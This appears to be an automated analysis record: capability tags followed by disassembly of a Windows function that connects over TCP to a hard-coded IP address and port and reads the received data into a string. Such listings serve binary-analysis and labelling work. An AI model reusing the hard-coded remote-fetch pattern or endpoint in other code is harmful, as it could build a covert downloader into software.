Function at 0x1301d2a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create raw socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x20]
sub esp, 0x20
push 0xffffffffffffffff
push 0x130fc68a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2234
call fcn.13020d10
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp + 4], ebx
jmp 0x1301d2e8
mov esi, dword [ebp + 0x28]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
push ebx
push 0x130fecf6
mov ecx, esi
call fcn.13004af0
mov dword [ebp - 4], ebx
mov edi, 1
mov dword [ebp + 4], edi
push edi
push 3
lea ecx, [ebp - 0x98]
call fcn.1300dc50
mov dword [ebp - 4], edi
mov byte [ebp - 4], 2
lea eax, [ebp - 0x244]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 6
push edi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
mov dword [ebp + 0x18], edi
cmp edi, 0xffffffff
je 0x1301d446
xor eax, eax
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], eax
mov dword [ebp + 0x10], eax
mov dword [ebp + 0x14], eax
mov word [ebp + 8], 2
push 0x1e61
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp + 0xa], ax
mov byte [ebp + 0xc], 0x5d
mov byte [ebp + 0xd], 0x9e
mov byte [ebp + 0xe], 0xef
mov byte [ebp + 0xf], 0x27
push 0x10
lea ecx, [ebp + 8]
push ecx
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1301d43f
mov dword [ebp + 0x1c], ebx
mov byte [ebp - 4], 3
nop
push ebx
push 0x1ffe
lea edx, [ebp - 0x2244]
push edx
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, ebx
jle 0x1301d3f3
add dword [ebp + 0x1c], esi
lea eax, [ebp - 0x2244]
push eax
lea ecx, [ebp - 0x90]
push ecx
call fcn.13011790
add esp, 8
cmp byte [ebp + esi - 0x2245], bl
je 0x1301d3f3
push 0x2000
push ebx
lea edx, [ebp - 0x2244]
push edx
call fcn.1301f940
add esp, 0xc
jmp 0x1301d3a0
mov dword [ebp - 4], 2
jmp 0x1301d40e
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0x98]
call fcn.130142f0
mov byte [ebp - 4], 5
push eax
mov ecx, dword [ebp + 0x28]
call fcn.1300c860
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xb4]
call fcn.13004550
mov esi, dword [ebp + 0x28]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 4], 1
jmp 0x1301d461
jmp 0x1301d473
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x44]
mov dword [ebp + 0x18], ecx
mov edx, dword [ebp - 0x98]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0x98], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x8c]
mov dword [ebp], ecx
mov dword [ebp - 0x8c], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov byte [ebp - 4], 9
test byte [ebp - 0x4c], 1
je 0x1301d4c2
mov edx, dword [ebp - 0x7c]
mov eax, dword [edx]
push eax
call fcn.1301ff6c
add esp, 4
mov eax, dword [ebp - 0x7c]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0x5c]
mov dword [edx], ebx
mov eax, dword [ebp - 0x78]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x68]
mov dword [ecx], ebx
mov edx, dword [ebp - 0x58]
mov dword [edx], ebx
mov dword [ebp - 0x50], ebx
and dword [ebp - 0x4c], 0xfffffffe
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x8c]
call fcn.1300ad20
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x8c]
call fcn.1300a870
lea eax, [ebp - 0x44]
mov dword [ebp], eax
mov dword [ebp - 0x44], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], ebx
mov dword [ebp - 0x44], vtable.std::ios_base.0
mov ecx, eax
push ecx
call fcn.1301e1a0
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add ebp, 0x20
mov esp, ebp
pop ebp
ret 4